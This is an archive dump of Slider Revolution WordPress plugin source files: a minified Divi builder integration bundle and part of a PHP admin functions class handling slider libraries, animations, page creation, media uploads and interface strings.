Object.prototype.hasOwnProperty.call(e,t)},n.p="/",n(n.s=3)}([function(e,t){},function(e,t){},function(e,t){e.exports=React},function(e,t,n){n(4),e.exports=n(5)},function(e,t,n){"use strict"},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(6),r=n.n(i),o=n(7),a=n(9);r()(window).on("et_builder_api_ready",function(e,t){t.registerModules(o.a),t.registerModalFields(a.a)})},function(e,t){e.exports=jQuery},function(e,t,n){"use strict";var i=n(8);t.a=[i.a]},function(e,t,n){"use strict";var i=n(2),r=n.n(i),o=n(0);n.n(o);function a(e){return(a="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function s(e,t){for(var n=0;n'),n}var n,o,a;return function(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i["Component"]),n=t,(o=[{key:"loadSliderImage",value:function(e){var t=this;this.RVS.F.ajaxRequest("getSliderImage",{alias:e},function(e){e.success&&void 0!==e&&void 0!==e.image?t.setState({image:e.image}):t.setState({image:"",currentState:"no_image"})})}},{key:"componentDidMount",value:function(){this.state.block.alias&&this.loadSliderImage(this.state.block.alias)}},{key:"componentDidUpdate",value:function(e,t){if(this.props.revslider_divi!==e.revslider_divi){var n=this.RVS.SC.scToBlock(this.props.revslider_divi);this.setState({block:n}),n.alias!==t.block.alias&&(this.setState({image:"",currentState:"loading"}),this.loadSliderImage(n.alias))}}},{key:"render",value:function(){var e,t=this.states[this.state.currentState].icon,n=this.states[this.state.currentState].text,i=this.state.image;return e=i?r.a.createElement("div",{style:{backgroundImage:"url("+i+")"}}):r.a.createElement("div",null,r.a.createElement("span",{className:"icon"},t),r.a.createElement("span",{className:"text"},n)),r.a.createElement("div",{className:"revslider_divi_block"},r.a.createElement("div",{className:"revslider_title"},r.a.createElement("span",null,this.state.block.slidertitle||"")),r.a.createElement("div",{className:"revslider_image"},e))}}])&&s(n.prototype,o),a&&s(n,a),t}();Object.defineProperty(c,"slug",{configurable:!0,enumerable:!0,writable:!0,value:"revslider_divi"}),t.a=c},function(e,t,n){"use strict";var i=n(10);t.a=[i.a]},function(e,t,n){"use strict";var i=n(2),r=n.n(i),o=n(1);n.n(o);function a(e){return(a="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e,t){for(var n=0;n0&&void 0!==arguments[0]?arguments[0]:"";if(window.parent.document.getElementById("rbm_blocksettings"))e&&"function"===typeof n[e]&&n[e]();else{var t=d(n);n.RVS.F.ajaxRequest("shortcode_enqueue_files",{},function(n){void 0!==n&&n.success&&void 0!==n.data.html||this.RVS.F.showErrorMessage(this.RVS_DIVI_LANG.error_loading_settings),window.parent.jQuery("body").append(n.data.html),e&&"function"===typeof t[e]&&t[e]()})}}}),Object.defineProperty(d(n),"openLibrary",{configurable:!0,enumerable:!0,writable:!0,value:function(){n.RVS.SC.openTemplateLibrary("divi")}}),Object.defineProperty(d(n),"openSliderEditor",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.openSliderEditor(n.state.alias)}}),Object.defineProperty(d(n),"openBlockSettings",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.BLOCK=n.state,n.RVS.SC.openBlockSettings("divi")}}),Object.defineProperty(d(n),"openOptimizer",{configurable:!0,enumerable:!0,writable:!0,value:function(){if(!n.state.alias)return!1;n.RVS.SC.BLOCK=n.state,n.RVS.SC.openOptimizer(n.state.alias)}}),n.RVS=window.parent.RVS,n.RVS_LANG=window.RVS_LANG,n.RVS_DIVI_LANG=window.RVS_DIVI_LANG,n.state={},n.props.value&&(n.state=n.RVS.SC.scToBlock(n.props.value),n.state.content=n.props.value),window.parent.document.getElementById("waitaminute")||window.parent.jQuery("body").append('
            '),n}return p(t,i["Component"]),c(t,[{key:"componentDidMount",value:function(){window.parent.revslider_divi=this}},{key:"render",value:function(){var e=this;return r.a.createElement("div",{className:"revslider_divi_input_container"},r.a.createElement("input",{id:"revslider-input-".concat(this.props.name),name:this.props.name,value:this.props.value,type:"hidden"}),r.a.createElement("div",{className:"revslider_divi_buttons_container"},r.a.createElement(f,{btnClasses:"revslider_module_button",tip:this.RVS_DIVI_LANG.select_module_tip,handleClick:function(){return e.checkSettingsModal("openLibrary")},text:this.RVS_DIVI_LANG.select_module}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_editor_button",tip:this.RVS_DIVI_LANG.open_editor_tip,handleClick:this.openSliderEditor,disabled:!this.props.value,text:"edit"}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_block_button",tip:this.RVS_DIVI_LANG.edit_settings_tip,handleClick:function(){return e.checkSettingsModal("openBlockSettings")},disabled:!this.props.value,text:"tune"}),r.a.createElement(f,{btnClasses:"revslider_divi_input_button_small revslider_optimize_button",tip:this.RVS_DIVI_LANG.optimize_tip,handleClick:function(){return e.checkSettingsModal("openOptimizer")},disabled:!this.props.value,text:"flash_on"})),r.a.createElement("div",{className:"revslider_divi_selected et-fb-form__group"},r.a.createElement("span",{className:"et-fb-form__label"},r.a.createElement("span",{className:"et-fb-form__label-text"},this.RVS_DIVI_LANG.current_module)),r.a.createElement("div",{className:"et-fb-settings-options et-fb-option--text"},r.a.createElement("div",{className:"et-fb-option-container"},r.a.createElement("input",{className:"et-fb-settings-option-input et-fb-settings-option-input--block",type:"text",value:this.state.slidertitle||this.RVS_DIVI_LANG.none,disabled:!0})))))}}]),t}();Object.defineProperty(b,"slug",{configurable:!0,enumerable:!0,writable:!0,value:"revslider_divi_input"}),t.a=b}]);admin/includes/shortcode_generator/divi/scripts/frontend.js000060400000000147151724235750020312 0ustar00// This script is loaded both on the frontend page and in the Visual Builder. jQuery(function($) {}); admin/includes/shortcode_generator/divi/scripts/frontend-bundle.min.js000060400000001112151724235750022334 0ustar00!function(n){var t={};function r(e){if(t[e])return t[e].exports;var o=t[e]={i:e,l:!1,exports:{}};return n[e].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=n,r.c=t,r.d=function(n,t,e){r.o(n,t)||Object.defineProperty(n,t,{configurable:!1,enumerable:!0,get:e})},r.n=function(n){var t=n&&n.__esModule?function(){return n.default}:function(){return n};return r.d(t,"a",t),t},r.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r.p="/",r(r.s=11)}([function(n,t){},function(n,t){},,,,,,,,,,function(n,t,r){r(1),r(0),n.exports=r(12)},function(n,t){jQuery(function(n){})}]);admin/includes/functions-admin.class.php000060400000204070151724235750014367 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderFunctionsAdmin extends RevSliderFunctions { /** * get the full object of: * +- Slider Templates * +- Created Slider * +- Object Library Images * - Object Library Videos * +- SVG * +- Font Icons * - layers **/ public function get_full_library($include = array('all'), $tmp_slide_uid = array(), $refresh_from_server = false, $get_static_slide = false){ $include = (array)$include; $template = new RevSliderTemplate(); $library = new RevSliderObjectLibrary(); $slide = new RevSliderSlide(); $object = array(); $tmp_slide_uid = ($tmp_slide_uid !== false) ? (array)$tmp_slide_uid : array(); if($refresh_from_server){ if(in_array('all', $include) || in_array('moduletemplates', $include)){ //refresh template list from server $template->_get_template_list(true); if(!isset($object['moduletemplates'])) $object['moduletemplates'] = array(); $object['moduletemplates']['tags'] = $template->get_template_categories(); asort($object['moduletemplates']['tags']); } if(in_array('all', $include) || in_array('layers', $include) || in_array('videos', $include) || in_array('images', $include) || in_array('objects', $include)){ //refresh object list from server $library->_get_list(true); } if(in_array('all', $include) || in_array('layers', $include)){ //refresh object list from server if(!isset($object['layers'])) $object['layers'] = array(); $object['layers']['tags'] = $library->get_objects_categories('4'); asort($object['layers']['tags']); } if(in_array('all', $include) || in_array('videos', $include)){ //refresh object list from server if(!isset($object['videos'])) $object['videos'] = array(); $object['videos']['tags'] = $library->get_objects_categories('3'); asort($object['videos']['tags']); } if(in_array('all', $include) || in_array('images', $include)){ //refresh object list from server if(!isset($object['images'])) $object['images'] = array(); $object['images']['tags'] = $library->get_objects_categories('2'); asort($object['images']['tags']); } if(in_array('all', $include) || in_array('objects', $include)){ //refresh object list from server if(!isset($object['objects'])) $object['objects'] = array(); $object['objects']['tags'] = $library->get_objects_categories('1'); asort($object['objects']['tags']); } $object = apply_filters('revslider_get_full_library_refresh', $object, $include, $tmp_slide_uid, $refresh_from_server, $get_static_slide, $this); } if(in_array('moduletemplates', $include) || in_array('all', $include)){ if(!isset($object['moduletemplates'])) $object['moduletemplates'] = array(); $object['moduletemplates']['items'] = $template->get_tp_template_sliders_for_library($refresh_from_server); } if(in_array('moduletemplateslides', $include) || in_array('all', $include)){ if(!isset($object['moduletemplateslides'])) $object['moduletemplateslides'] = array(); $object['moduletemplateslides']['items'] = $template->get_tp_template_slides_for_library($tmp_slide_uid); } if(in_array('modules', $include) || in_array('all', $include)){ if(!isset($object['modules'])) $object['modules'] = array(); $object['modules']['items'] = $this->get_slider_overview(); } if(in_array('moduleslides', $include) || in_array('all', $include)){ if(!isset($object['moduleslides'])) $object['moduleslides'] = array(); $object['moduleslides']['items'] = $slide->get_slides_for_library($tmp_slide_uid, $get_static_slide); } if(in_array('svgs', $include) || in_array('all', $include)){ if(!isset($object['svgs'])) $object['svgs'] = array(); $object['svgs']['items'] = $library->get_svg_sets_full(); } if(in_array('svgcustom', $include) || in_array('all', $include)){ if(!isset($object['svgcustom'])) $object['svgcustom'] = array(); $object['svgcustom']['items'] = $library->get_custom_svgs(); } if(in_array('fonticons', $include) || in_array('all', $include)){ if(!isset($object['fonticons'])) $object['fonticons'] = array(); $object['fonticons']['items'] = $library->get_font_icons(); } if(in_array('layers', $include) || in_array('all', $include)){ if(!isset($object['layers'])) $object['layers'] = array(); $object['layers']['items'] = $library->load_objects('4'); } if(in_array('videos', $include) || in_array('all', $include)){ if(!isset($object['videos'])) $object['videos'] = array(); $object['videos']['items'] = $library->load_objects('3'); } if(in_array('images', $include) || in_array('all', $include)){ if(!isset($object['images'])) $object['images'] = array(); $object['images']['items'] = $library->load_objects('2'); } if(in_array('objects', $include) || in_array('all', $include)){ if(!isset($object['objects'])) $object['objects'] = array(); $object['objects']['items'] = $library->load_objects('1'); } /*if(in_array('wpimages', $include) || in_array('all', $include)){ $data = $this->get_request_var('data'); $after = $this->get_val($data, 'after', false); if(!isset($object['wpimages'])) $object['wpimages'] = array(); $object['wpimages']['items'] = $library->load_wp_objects('image', $after); } if(in_array('wpvideos', $include) || in_array('all', $include)){ $data = $this->get_request_var('data'); $after = $this->get_val($data, 'after', false); if(!isset($object['wpvideos'])) $object['wpvideos'] = array(); $object['wpvideos']['items'] = $library->load_wp_objects('video', $after); }*/ $object = apply_filters('revslider_get_full_library', $object, $include, $tmp_slide_uid, $refresh_from_server, $get_static_slide, $this); return $object; } /** * get the short library with categories and how many elements exist **/ public function get_short_library($sliders = false){ $template = new RevSliderTemplate(); $library = new RevSliderObjectLibrary(); $sliders = ($sliders === false) ? $this->get_slider_overview() : $sliders; $slider_cat = array(); if(!empty($sliders)){ foreach($sliders as $slider){ $tags = $this->get_val($slider, 'tags', array()); if(!empty($tags)){ foreach($tags as $tag){ if(trim($tag) !== '' && !isset($slider_cat[$tag])) $slider_cat[$tag] = ucwords($tag); } } } } $svg_cat = $library->get_svg_categories(); $oc = $library->get_objects_categories('1'); $oc2 = $library->get_objects_categories('2'); $oc3 = $library->get_objects_categories('3'); $oc4 = $library->get_objects_categories('4'); $t_cat = $template->get_template_categories(); $font_cat = $library->get_font_tags(); $custom = $library->get_custom_tags(); $wpi = array('jpg' => 'jpg', 'png' => 'png'); $wpv = array('mpeg' => 'mpeg', 'mp4' => 'mp4', 'ogv' => 'ogv'); asort($wpi); asort($wpv); asort($oc); asort($t_cat); asort($slider_cat); asort($svg_cat); asort($font_cat); $tags = array( 'moduletemplates' => array('tags' => $t_cat), 'modules' => array('tags' => $slider_cat), 'svgs' => array('tags' => $svg_cat), 'fonticons' => array('tags' => $font_cat), 'layers' => array('tags' => $oc4), 'videos' => array('tags' => $oc3), 'images' => array('tags' => $oc2), 'objects' => array('tags' => $oc)/*, 'wpimages' => array('tags' => $wpi), 'wpvideos' => array('tags' => $wpv)*/ ); if(!empty($custom)){ foreach($custom as $tag_name => $tag_value){ $tags[$tag_name] = array('tags' => $tag_value); } } return apply_filters('revslider_get_short_library', $tags, $library, $this); } /** * Get Sliders data for the overview page **/ public function get_slider_overview(){ global $rs_do_init_action; $rs_do_init_action = false; $rs_slider = new RevSliderSlider(); $rs_slide = new RevSliderSlide(); $sliders = $rs_slider->get_sliders(false); $rs_folder = new RevSliderFolder(); $folders = $rs_folder->get_folders(); $sliders = array_merge($sliders, $folders); $data = array(); if(!empty($sliders)){ $slider_list = array(); foreach($sliders as $slider){ $slider_list[] = $slider->get_id(); } $_slides_raw = $rs_slide->get_all_slides_raw($slider_list); $slides_raw = $this->get_val($_slides_raw, 'first_slides', array()); $slides_ids = $this->get_val($_slides_raw, 'slide_ids', array()); foreach($sliders as $k => $slider){ $slide_ids = array(); $slides = array(); $sid = $slider->get_id(); foreach($slides_raw as $s => $r){ if($r->get_slider_id() !== $sid) continue; foreach($slides_ids as $_s => $_sv){ if($this->get_val($_sv, 'slider_id') === $sid){ $slide_ids[] = $this->get_val($_sv, 'id'); unset($slides_ids[$_s]); } } $slides[] = $r; unset($slides_raw[$s]); } if(empty($slide_ids)) $slide_ids = false; $slides = (empty($slides)) ? false : $slides; $slider->init_layer = false; $data[] = $slider->get_overview_data(false, $slides, $slide_ids); unset($sliders[$k]); } } $rs_do_init_action = true; return $data; } /** * insert custom animations * @before: RevSliderOperations::insertCustomAnim(); */ public function insert_animation($animation, $type){ $handle = $this->get_val($animation, 'name', false); $result = false; if($handle !== false && trim($handle) !== ''){ global $wpdb; //check if handle exists $arr = array( 'handle' => $this->get_val($animation, 'name'), 'params' => json_encode($animation), 'settings' => $type ); $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr); } return ($result) ? $wpdb->insert_id : $result; } /** * update custom animations * @before: RevSliderOperations::updateCustomAnim(); */ public function update_animation($animation_id, $animation, $type){ global $wpdb; $arr = array( 'handle' => $this->get_val($animation, 'name'), 'params' => json_encode($animation), 'settings' => $type ); $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $animation_id)); return ($result) ? $animation_id : $result; } /** * delete custom animations * @before: RevSliderOperations::deleteCustomAnim(); * @param int $animation_id */ public function delete_animation($animation_id){ global $wpdb; $result = $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, array('id' => $animation_id)); return $result; } /** * @since: 5.3.0 * create a page with revslider shortcodes included * @before: RevSliderOperations::create_slider_page(); * @param array $added * @param array $modals * @param array $additions **/ public static function create_slider_page($added, $modals = array(), $additions = array()){ global $wp_version; $new_page_id = 0; if(!is_array($added)) return apply_filters('revslider_create_slider_page', $new_page_id, $added); $content = ''; $page_id = get_option('rs_import_page_id', 1); //get alias of all new Sliders that got created and add them as a shortcode onto a page if(!empty($added)){ foreach($added as $sid){ $slider = new RevSliderSlider(); $slider->init_by_id($sid); $alias = $slider->get_alias(); if($alias !== ''){ $usage = (in_array($sid, $modals, true)) ? ' usage="modal"' : ''; $addition = (isset($additions[$sid])) ? ' ' . $additions[$sid] : ''; if(strpos($addition, 'usage=\"modal\"') !== false) $usage = ''; //remove as not needed two times if(version_compare($wp_version, '5.0', '>=')){ //add gutenberg code $ov_data = $slider->get_overview_data(); $title = $slider->get_val($ov_data, 'title', ''); $img = $slider->get_val($ov_data, array('bg', 'src'), ''); $wrap_addition = ($img !== '') ? ',"sliderImage":"'.$img.'"' : ''; $div_addition = ($title !== '') ? ' data-slidertitle="'.$title.'"' : ''; $zindex_pos = strpos($addition, 'zindex=\"'); if($zindex_pos !== false){ $zindex = substr($addition, $zindex_pos + 9, strpos($addition, '\"', $zindex_pos + 9) - ($zindex_pos + 9)); $div_addition .= ' style="z-index:'.$zindex.';"'; $wrap_addition .= ',"zindex":"'.$zindex.'"'; } $content .= ''."\n"; $content .= '
            '; } $content .= '[rev_slider alias="'.$alias.'"'.$usage.$addition.'][/rev_slider]'; //this way we will reorder as last comes first if(version_compare($wp_version, '5.0', '>=')){ //add gutenberg code $content .= '
            '."\n".''."\n"; } } } } if($content !== ''){ $new_page_id = wp_insert_post( array( 'post_title' => wp_strip_all_tags('RevSlider Page '.$page_id), //$title 'post_content' => $content, 'post_type' => 'page', 'post_status' => 'draft', 'page_template' => '../public/views/revslider-page-template.php' ) ); if(is_wp_error($new_page_id)) $new_page_id = 0; //fallback to 0 $page_id++; update_option('rs_import_page_id', $page_id); } return apply_filters('revslider_create_slider_page', $new_page_id, $added); } /** * add notices from ThemePunch * @since: 4.6.8 * @return array */ public function add_notices(){ $_n = array(); $notices = (array)get_option('revslider-notices', false); $rs_valid = $this->_truefalse(get_option('revslider-valid', 'false')); if(!empty($notices) && is_array($notices)){ $n_discarted = get_option('revslider-notices-dc', array()); foreach($notices as $notice){ if(in_array($notice->code, $n_discarted)) continue; if(isset($notice->version) && version_compare($notice->version, RS_REVISION, '<=')) continue; if(isset($notice->registered)){ //if this is set, only show the notice if the plugin state is the same $registered = $this->_truefalse($notice->registered); if($registered !== $rs_valid) continue; } if(isset($notice->show_until) && $notice->show_until !== '0000-00-00 00:00:00'){ if(strtotime($notice->show_until) < time()) continue; } $_n[] = $notice; } } //push whatever notices we might need return $_n; } /** * get basic v5 Slider data **/ public function get_v5_slider_data(){ global $wpdb; $sliders = array(); $do_order = 'id'; $direction = 'ASC'; $slider_data = $wpdb->get_results($wpdb->prepare("SELECT `id`, `title`, `alias`, `type` FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER."_bkp ORDER BY %s %s", array($do_order, $direction)), ARRAY_A); if(!empty($slider_data)){ foreach($slider_data as $data){ if($this->get_val($data, 'type') == 'template') continue; $sliders[] = $data; } } return $sliders; } /** * get basic v5 Slider data **/ public function reimport_v5_slider($id){ global $wpdb; $done = false; $slider_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER."_bkp WHERE `id` = %s", $id), ARRAY_A); if(!empty($slider_data)){ $slides_data = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES."_bkp WHERE `slider_id` = %s", $id), ARRAY_A); $static_slide_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES."_bkp WHERE `slider_id` = %s", $id), ARRAY_A); if(!empty($slides_data)){ //check if the ID's exist in the new tables, if yes overwrite, if not create $slider_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER." WHERE `id` = %s", $id), ARRAY_A); unset($slider_data['id']); if(!empty($slider_v6)){ /** * push the old data to the already imported Slider **/ $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data, array('id' => $id)); }else{ $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data); $id = ($result) ? $wpdb->insert_id : false; } if($id !== false){ foreach($slides_data as $k => $slide_data){ $slide_data['slider_id'] = $id; $slide_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDES." WHERE `id` = %s", $slide_data['id']), ARRAY_A); $slide_id = $slide_data['id']; unset($slide_data['id']); if(!empty($slide_v6)){ $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide_data, array('id' => $slide_id)); }else{ $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide_data); } } if(!empty($static_slide_data)){ $static_slide_data['slider_id'] = $id; $slide_v6 = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES." WHERE `id` = %s", $static_slide_data['id']), ARRAY_A); $slide_id = $static_slide_data['id']; unset($static_slide_data['id']); if(!empty($slide_v6)){ $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $static_slide_data, array('id' => $slide_id)); }else{ $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $static_slide_data); } } $slider = new RevSliderSlider(); $slider->init_by_id($id); $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($slider); $done = true; } } } return $done; } /** * returns an object of current system values **/ public function get_system_requirements(){ global $wpdb; $dir = wp_upload_dir(); $basedir = $this->get_val($dir, 'basedir').'/'; $ml = ini_get('memory_limit'); $mlb = wp_convert_hr_to_bytes($ml); $umf = ini_get('upload_max_filesize'); $umfb = wp_convert_hr_to_bytes($umf); $pms = ini_get('post_max_size'); $pmsb = wp_convert_hr_to_bytes($pms); $map = $wpdb->get_row("SHOW VARIABLES LIKE 'max_allowed_packet';"); $map = $this->get_val($map, 'Value', 0); $mlg = ($mlb >= 268435456) ? true : false; $umfg = ($umfb >= 33554432) ? true : false; $pmsg = ($pmsb >= 33554432) ? true : false; $mapg = ($map >= 16777216) ? true : false; return array( 'memory_limit' => array( 'has' => size_format($mlb), 'min' => size_format(268435456), 'good'=> $mlg ), 'upload_max_filesize' => array( 'has' => size_format($umfb), 'min' => size_format(33554432), 'good'=> $umfg ), 'post_max_size' => array( 'has' => size_format($pmsb), 'min' => size_format(33554432), 'good'=> $pmsg ), 'max_allowed_packet' => array( 'has' => size_format($map), 'min' => size_format(16777216), 'good'=> $mapg ), 'upload_folder_writable' => wp_is_writable($basedir), 'zlib_enabled' => function_exists('gzcompress') && function_exists('gzuncompress'), 'object_library_writable' => wp_image_editor_supports(array('methods' => array('resize', 'save'))), 'server_connect' => get_option('revslider-connection', false), ); } /** * import a media file uploaded through the browser to the media library **/ public function import_upload_media(){ require_once(ABSPATH . 'wp-admin/includes/file.php'); global $wp_filesystem; WP_Filesystem(); $import_file = $this->get_val($_FILES, 'import_file'); $error = $this->get_val($import_file, 'error'); $return = array('error' => __('File not found', 'revslider')); switch($error){ case UPLOAD_ERR_NO_FILE: return array('error' => __('No file sent', 'revslider')); case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: return array('error' => __('Exceeded filesize limit', 'revslider')); default: break; } $path = $this->get_val($import_file, 'tmp_name'); if(isset($path['error'])) return array('error' => $path['error']); if(file_exists($path) == false) return array('error' => __('File not found', 'revslider')); if($this->get_val($import_file, 'size') > wp_max_upload_size()) return array('error' => __('Exceeded filesize limit', 'revslider')); $file_mime = mime_content_type($path); $allow = array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm' ); if(!in_array($file_mime, $allow)) return array('error' => __('WordPress doesn\'t allow this filetype', 'revslider')); $upload_dir = wp_upload_dir(); $new_path = $path; $file_name = basename($this->get_val($import_file, 'name')); $i = 0; while(file_exists($new_path)){ $i++; $new_path = $upload_dir['path']. '/' .$i. '-' .$file_name; } if(move_uploaded_file($path, $new_path)){ $upload_id = wp_insert_attachment( array( 'guid' => $new_path, 'post_mime_type' => $file_mime, 'post_title' => preg_replace( '/\.[^.]+$/', '', $file_name), 'post_name' => sanitize_title_with_dashes(str_replace('_', '-', $file_name)), 'post_content' => '', 'post_status' => 'inherit' ), $new_path ); require_once(ABSPATH . 'wp-admin/includes/image.php'); @wp_update_attachment_metadata($upload_id, wp_generate_attachment_metadata($upload_id, $new_path)); //$meta = wp_get_attachment_metadata( $attachment->ID ); $img_dim = @wp_get_attachment_image_src($upload_id, 'full'); $width = ($img_dim !== false) ? $this->get_val($img_dim, 1, '') : ''; $height = ($img_dim !== false) ? $this->get_val($img_dim, 2, '') : ''; $return = array('error' => false, 'id' => $upload_id, 'path' => wp_get_attachment_url($upload_id), 'width' => $width, 'height' => $height); //$new_path } return $return; } public function sort_by_slide_order($a, $b) { return $a['slide_order'] - $b['slide_order']; } /** * Create Multilanguage for JavaScript */ public function get_javascript_multilanguage(){ $lang = array( 'clipboardfirefox' => __('Please consult the Slider Revolution manual to learn how to use clipboard functionality with Firefox', 'revslider'), 'clipboardnotvalid' => __('Imported Content has no Valid Revolution Slider Structure', 'revslider'), 'clipboardwarning' => __('Clipboard Function is not available on Unsecure Websites', 'revslider'), 'clipboardexport' => __('Selected Layers exported to Clipboard', 'revslider'), 'clipboardimport' => __('Selected Layers imported from Clipboard', 'revslider'), 'up' => __('Up', 'revslider'), 'down' => __('Down', 'revslider'), 'left' => __('Left', 'revslider'), 'right' => __('Right', 'revslider'), 'horizontal' => __('Horizontal', 'revslider'), 'vertical' => __('Vertical', 'revslider'), 'reversed' => __('Reverse', 'revslider'), 'previewnotworking' => __('The preview could not be loaded due to some conflict with another WordPress theme or plugin', 'revslider'), 'checksystemnotworking' => __('Server connection issues, contact your hosting provider for further assistance', 'revslider'), 'editskins' => __('Edit Skin List', 'revslider'), 'globalcoloractive' => __('Color Skin Active', 'revslider'), 'corejs' => __('Core JavaScript', 'revslider'), 'corecss' => __('Core CSS', 'revslider'), 'coretools' => __('Core Tools (GreenSock & Co)', 'revslider'), 'enablecompression' => __('Enable Server Compression', 'revslider'), 'notduringinsetmode' => __('Resize and Drag is not available if Layer Size set to Inset', 'revslider'), 'insetrequirements' => __('Move Layer into a Group and set Position to Absolute before selecting Full Inset', 'revslider'), 'noservercompression' => __('Not Available, read FAQ', 'revslider'), 'servercompression' => __('Serverside Compression', 'revslider'), 'sizeafteroptim' => __('Size after Optimization', 'revslider'), 'chgimgsizesrc' => __('Change Image Size or Src', 'revslider'), 'pickandim' => __('Pick another Dimension', 'revslider'), 'optimize' => __('Optimize', 'revslider'), 'savechanges' => __('Save Changes', 'revslider'), 'applychanges' => __('Apply Changes', 'revslider'), 'suggestion' => __('Suggestion', 'revslider'), 'toosmall' => __('Too Small', 'revslider'), 'standard1x' => __('Standard (1x)', 'revslider'), 'retina2x' => __('Retina (2x)', 'revslider'), 'oversized' => __('Oversized', 'revslider'), 'quality' => __('Quality', 'revslider'), 'file' => __('File', 'revslider'), 'resize' => __('Resize', 'revslider'), 'lowquality' => __('Optimized (Low Quality)', 'revslider'), 'notretinaready' => __('Not Retina Ready', 'revslider'), 'element' => __('Element', 'revslider'), 'calculating' => __('Calculating...', 'revslider'), 'filesize' => __('File Size', 'revslider'), 'dimension' => __('Dimension', 'revslider'), 'dimensions' => __('Dimensions', 'revslider'), 'optimization' => __('Optimization', 'revslider'), 'optimized' => __('Optimized', 'revslider'), 'smartresize' => __('Smart Resize', 'revslider'), 'optimal' => __('Optimal', 'revslider'), 'recommended' => __('Recommended', 'revslider'), 'hrecommended' => __('Highly Recommended', 'revslider'), 'optimizertitel' => __('File Size Optimizer', 'revslider'), 'loadedmediafiles' => __('Loaded Media Files', 'revslider'), 'loadedmediainfo' => __('Optimize to save up to ', 'revslider'), 'optselection' => __('Optimize Selection', 'revslider'), 'visibility' => __('Visibility', 'revslider'), 'layers' => __('Layers', 'revslider'), 'videoid' => __('Video ID', 'revslider'), 'youtubeid' => __('YouTube ID', 'revslider'), 'vimeoid' => __('Vimeo ID', 'revslider'), 'poster' => __('Poster', 'revslider'), 'youtubeposter' => __('YouTube Poster', 'revslider'), 'vimeoposter' => __('Vimeo Poster', 'revslider'), 'postersource' => __('Poster Image', 'revslider'), 'medialibrary' => __('Media Library', 'revslider'), 'objectlibrary' => __('Object Library', 'revslider'), 'videosource' => __('Video Source', 'revslider'), 'imagesource' => __('Image Source', 'revslider'), 'extimagesource' => __('External Image Source', 'revslider'), 'mediasrcimage' => __('Image Based', 'revslider'), 'mediasrcext' => __('External Image', 'revslider'), 'mediasrcsolid' => __('Background Color', 'revslider'), 'mediasrctrans' => __('Transparent', 'revslider'), 'please_wait_a_moment' => __('Please Wait a Moment', 'revslider'), 'backgrounds' => __('Backgrounds', 'revslider'), 'name' => __('Name', 'revslider'), 'colorpicker' => __('Color Picker', 'revslider'), 'savecontent' => __('Save Content', 'revslider'), 'modulbackground' => __('Module Background', 'revslider'), 'wrappingtag' => __('Wrapping Tag', 'revslider'), 'tag' => __('Tag', 'revslider'), 'content' => __('Content', 'revslider'), 'nolayerstoedit' => __('No Layers to Edit', 'revslider'), 'layermedia' => __('Layer Media', 'revslider'), 'oppps' => __('Ooppps....', 'revslider'), 'no_nav_changes_done' => __('None of the Settings changed. There is Nothing to Save', 'revslider'), 'no_preset_name' => __('Enter Preset Name to Save or Delete', 'revslider'), 'customlayergrid_size_title' => __('Custom Size is currently Disabled', 'revslider'), 'customlayergrid_size_content' => __('The Current Size is set to calculate the Layer grid sizes Automatically.
